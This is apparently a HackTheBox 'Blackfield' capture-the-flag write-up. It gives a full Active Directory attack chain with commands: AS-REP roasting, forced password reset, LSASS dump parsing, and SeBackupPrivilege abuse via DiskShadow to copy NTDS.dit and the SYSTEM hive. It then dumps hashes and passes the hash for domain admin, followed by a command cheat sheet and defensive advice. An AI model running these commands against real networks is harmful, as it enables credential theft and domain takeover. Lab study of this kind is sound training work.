# OSCP Prep #15
HTB Write-Up Blackfield

# 1\. Target Overview

**Machine Name:** Blackfield  
**Platform:** HackTheBox  
**Operating System:** Windows  
**Target IP:** 10.129.229.17  
**Objective:** Gain Domain Administrator access

Blackfield is definitely one of the best AD machines I’ve done so far. It’s all about chaining realistic misconfigurations together. Every step builds on the last.

## Tools Used

*   Nmap
    
*   NetExec (NXC)
    
*   Kerbrute
    
*   Impacket
    
*   John the Ripper
    
*   RustHound-CE
    
*   BloodHound
    
*   pypykatz
    
*   Evil-WinRM
    
*   DiskShadow
    
*   Robocopy
    

# 2\. Enumeration

I kicked things off with an Nmap scan and immediately saw what I expected from a domain controller—LDAP, Kerberos, SMB, RPC, DNS. Nothing unusual, but everything I needed.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ac3bf583-f5ec-4124-bd2f-6faf376e56f8.png align="center")

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3e24f5bd-0b58-4ebe-af61-8a260901f90b.png align="center")

The scan also leaked the domain:

**BLACKFIELD.local**

First move—add that to `/etc/hosts`. Always.

### Anonymous SMB Access

Next step was checking SMB:

I tested guest access and got in. That alone is already a foothold from an enumeration standpoint.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d480d7d9-bad9-4c66-9990-8fdacef18416.png align="center")

I was able to:

*   List shares
    
*   Read from at least one share (`profiles$`)
    

### RID Brute

I tried normal user enumeration first (`--users`)—nothing.

So I pivoted to:

`--rid-brute`

This worked immediately.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e6ca5b63-6bcd-40a2-b573-1b0052d53be7.png align="center")

Here’s the difference in plain terms:

*   `--users` = asks nicely (requires permissions)
    
*   `--rid-brute` = doesn’t care, brute-forces user IDs through RPC
    

Windows assigns every user a RID. If you know the domain SID, you can just iterate RIDs and ask:  
“Hey, does this exist?”

That’s exactly what this module does—and it works as long as anonymous access is allowed even when proper enumeration is blocked.

This gave me:

*   Domain users
    
*   Groups
    
*   Service accounts
    

At that point, I had a clean user list to work with.

### Username Validation

Before doing anything else, I validated the users with Kerbrute.

Because:

*   Kerberos will tell you if a username is real
    
*   No password required
    

Now I knew I had **valid domain accounts**, not just guesses.

# 3\. Exploitation

### AS-REP Roasting

Whenever I have valid users and no passwords, I always try AS-REP roasting. Here’s what’s happening under the hood:

Normally, Kerberos requires pre-authentication—basically proof you know the password.

But if a user has:  
`UF_DONT_REQUIRE_PREAUTH`

the domain will hand you an encrypted response **without verifying who you are**.

That’s a mistake. And it’s a big one.

I ran the attack with impackets GetNPUsers and got a hash back for one of the users.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8fee87e2-6dc1-488d-abcf-b6f9d6dcd4b6.png align="center")

Next I cracked it with John → got credentials for:

**support**

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/778db889-dccd-4ec7-bcdc-e28328a7f43a.png align="center")

That’s my first real foothold.

### Standard Post-Cred Checks

Once I had credentials, I followed the same routine I always do:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3f7d208a-8442-4f1a-8b26-b733bd1ee8d8.png align="center")

1.  **Password spraying** → no reuse
    
2.  **Kerberoasting** → nothing
    
3.  **SMB access** → same as guest
    
4.  **WinRM** → no access
    

So at this point with nothing obvious it was time to move on to bloodhound for further enumeration of potential attack vectors.

### BloodHound (External Enumeration)

I ran BloodHound using RustHound (since NXC’s collector wasn’t behaving—likely LDAPS issues).

This was a good reminder:  
**don’t marry one tool.**

### ForceChangePassword Abuse

BloodHound showed something very interesting:

The `support` user had **ForceChangePassword** over:

**audit2020**

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9b5e53cd-f93d-46d0-8f82-32eb6cd8de9f.png align="center")

That’s game over for that user.

If you can change someone’s password, you *are* that user.

I used bloodyAD to reset it and immediately logged in as `audit2020`.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e1b005aa-b82f-42fd-9824-c0fa8df7333b.png align="center")

### Forensic Share

The audit2020 user had access to a new share:

**forensic**

I spidered it and hit:

[**lsass.zip**](http://lsass.zip)

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b233e28a-f2a5-41db-8d0c-122a8d27489a.png align="center")

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/84092962-e078-4911-ab9c-fc2f07f60d6b.png align="center")

### LSASS Dump (Huge Learning Point)

Quick breakdown:

LSASS = Windows process that handles authentication

It stores:

*   NTLM hashes
    
*   Kerberos tickets
    
*   Credentials in memory
    

So if you get a dump of LSASS, you’re basically looking at **live credential material**.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/502212c5-c5ee-4996-8b6d-06b097c9442e.png align="center")

I downloaded it with smbclient, extracted it, and ran:

`pypykatz`

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8056ba96-394f-4800-984e-79b3e4e74790.png align="center")

This tool parses memory dumps and pulls out usable creds.

Most of the hashes were dead, but one worked:

**svc\_backup**

### Lateral Movement

I tested the hash and it was valid. Next I Checked WinRM and saw the user had remote access privileges.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7480261b-68d1-4ab3-9e5d-1096f6544a6b.png align="center")

That’s immediate shell access. I checked the svc\_backup users bloodhound abilities but there was nothing of note. Next i used evil-winrm to log in and see if there were anymore local priv esc vectors.

# 4\. Privilege Escalation

### SeBackupPrivilege

First thing I did in my winrm session as the svc\_backup user was

`whoami /all`

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f8469c30-24a7-4258-a86e-9bac9b8c2405.png align="center")

and saw a goldmine privilege:

**SeBackupPrivilege**

This is one of those privileges you need to recognize instantly.

### Why This Matters

This privilege lets you:

*   Read ANY file on the system
    
*   Ignore file permissions completely
    

That includes:

*   `NTDS.dit`
    
*   Registry hives
    

### What is NTDS.dit?

This is the Active Directory database.

It contains:

*   Every domain user
    
*   Every password hash
    
*   Everything that matters
    

But it’s encrypted.

To decrypt it, you also need:

*   SYSTEM hive (contains boot key)
    

## The Attack

### What You’re Actually Trying to Do

At this stage, you already know:

*   You have **SeBackupPrivilege**
    
*   You want **NTDS.dit + SYSTEM**
    
*   Goal = **dump all domain hashes**
    

But there’s a problem:

You **cannot directly copy NTDS.dit** while the system is running

Why?

*   It’s locked by Active Directory (ntds service)
    
*   Windows prevents direct access to in-use system files
    

So the real problem becomes:

> “How do I get a readable copy of a locked file?”

* * *

### The Solution: Volume Shadow Copy (VSS)

This is where **DiskShadow** comes in.

DiskShadow is a built-in Windows tool that interacts with:

**Volume Shadow Copy Service (VSS)**

* * *

### What VSS Actually Does

VSS creates a **snapshot of the filesystem at a point in time**

Think of it like:

> “Freeze the disk → clone it → let me read the clone”

So instead of touching the *live* NTDS.dit file, you:

*   Create a snapshot
    
*   Access the snapshot
    
*   Copy the file from there
    

Now it’s no longer locked.

* * *

### Why SeBackupPrivilege Makes This Work

Normally, even with a shadow copy:

*   You’d still be blocked by permissions
    

But **SeBackupPrivilege overrides file permissions**

It basically says:

> “I don’t care who owns this file—I can read it anyway”

That’s the key.

Without this privilege → attack fails  
With it → full access to sensitive files

## The Attack Flow

### Step 1 — Create a DiskShadow Script

You don’t run DiskShadow manually—you feed it a script.

Example:

```plaintext
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
add volume C: alias shadowcopy
create
expose %shadowcopy% E:
```

* * *

### What Each Line Means (This is the important part)

*   `set context persistent nowriters`  
      
    → Creates a stable snapshot without involving writers (avoids interference)  
    
*   `add volume C:`  
      
    → Targeting the main system drive  
    
*   `create`  
      
    → Actually generates the shadow copy  
    
*   `expose %shadowcopy% E:`  
      
    → Mounts the snapshot as a new drive (`E:`)
    

### Step 2 — Run DiskShadow

```plaintext
diskshadow /s script.txt
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/28c364e0-0c08-4fc5-984b-a2a4bc3571ee.png align="center")

After this runs:

👉 You now have a new drive (E:)  
  
👉 That drive is a snapshot of the system

* * *

### Step 3 — Copy the Files (Critical Step)

Now you copy from the snapshot, NOT the live system.

```plaintext
robocopy /b E:\Windows\NTDS C:\ProgramData\ ntds.dit
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/957c68c2-1d74-42f5-af7f-447e321c0d5a.png align="center")

*   `/b` = backup mode (uses SeBackupPrivilege)  
    

Then:

```plaintext
reg save HKLM\SYSTEM C:\ProgramData\SYSTEM
```

* * *

## Why These Two Files Matter Together

You need both:

1.  NTDS.dit Contains encrypted domain credentials
    
2.  SYSTEM hive Contains the boot key used to decrypt NTDS.dit
    

**Simple Way to Think About It**

*   NTDS.dit = locked safe
    
*   SYSTEM = key to open the safe
    

You need both or you get nothing.

* * *

## Step 4 — Exfiltrate + Dump

Once you move both files to Kali:

```plaintext
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c92ad6d0-dca7-40cd-8432-0404b1c9b344.png align="center")

Now you get:

*     
    All domain users  
    
*     
    NTLM hashes  
    
*     
    Including Administrator
    

### Final Step — Domain Takeover

You don’t even need passwords anymore.

Just pass the hash with psexec or wmiexec.

```plaintext
impacket-wmiexec administrator@<ip> -hashes <hash>
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6472ebfb-64d6-436e-b25a-b41fd01bd6af.png align="center")

# 5\. Lessons Learned

**1\. RID Brute is a fallback you should always remember**  
When normal enumeration fails, this still works more often than not.

**2\. AS-REP roasting is mandatory to check**  
It’s low effort, high reward. No reason to skip it.

**3\. LSASS dumps are extremely valuable**  
This was a big one for me—understanding how to extract creds from memory opens a lot of doors.

**4\. BloodHound isn’t optional in AD**  
You’re not guessing paths—you’re identifying them.

**5\. SeBackupPrivilege is dangerous**  
This alone can lead to full domain compromise. If you see it, you should already be thinking NTDS.

# 6\. Defensive Insight

**1\. Disable accounts without pre-authentication**  
AS-REP roasting should not be possible in a secure environment.

**2\. Remove unnecessary ACLs (like ForceChangePassword)**  
This is how attackers pivot laterally without exploits.

**3\. Lock down sensitive shares**  
There is no reason an LSASS dump should be accessible over SMB.

**4\. Monitor privileged accounts**  
Accounts with SeBackupPrivilege should be heavily restricted and audited.

**5\. Restrict anonymous access**  
Even limited SMB access can expose the entire domain structure.

# 7\. Useful Commands

### Nmap Scan

```plaintext
nmap -sC -sV 10.129.229.17
```

### Enumerate SMB Shares Anonymously

```plaintext
nxc smb 10.129.229.17 -u guest -p '' --shares
```

### Enumerate Users with RID Brute

```plaintext
nxc smb 10.129.229.17 -u guest -p '' --rid-brute
```

### Validate Usernames with Kerbrute

```plaintext
kerbrute userenum --dc 10.129.229.17 -d blackfield.local users.txt
```

### AS-REP Roast Valid Users

```plaintext
impacket-GetNPUsers blackfield.local/ -dc-ip 10.129.229.17 -usersfile users.txt -no-pass
```

### Crack the AS-REP Hash with John

```plaintext
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

### NXC - Check SMB Access

```plaintext
nxc smb 10.129.229.17 -u support -p '<password>' --shares
```

### NXC - Spray the Discovered Password Against Other Users

```plaintext
nxc smb 10.129.229.17 -u users.txt -p '<password>' --continue-on-success
```

### impacket - Attempt Kerberoasting

```plaintext
impacket-GetUserSPNs blackfield.local/support:'<password>' -dc-ip 10.129.229.17 -request
```

### Collect BloodHound Data with RustHound

```plaintext
rusthound-ce -d blackfield.local -u support -p '<password>' -c All -o blackfield.zip
```

### BloodyAD Change Password

```plaintext
bloodyAD -d blackfield.local -u support -p '<password>' set password audit2020 '<NEW_PASSWORD>'
```

### NXC - Spider Shares

```plaintext
nxc smb 10.129.229.17 -u audit2020 -p '<NEW_PASSWORD>' -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC$,print$,C$,ADMIN$'
```

### pypykatz- Extract Credentials from the LSASS Dump

```plaintext
pypykatz lsa minidump lsass.DMP
```

### Execute DiskShadow

```plaintext
diskshadow /s C:\Windows\Temp\diskshadow.txt
```

### Copy `ntds.dit` from the Shadow Copy

```plaintext
robocopy /b z:\Windows\NTDS C:\Windows\Temp ntds.dit
```

### Save the SYSTEM Hive

```plaintext
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
```
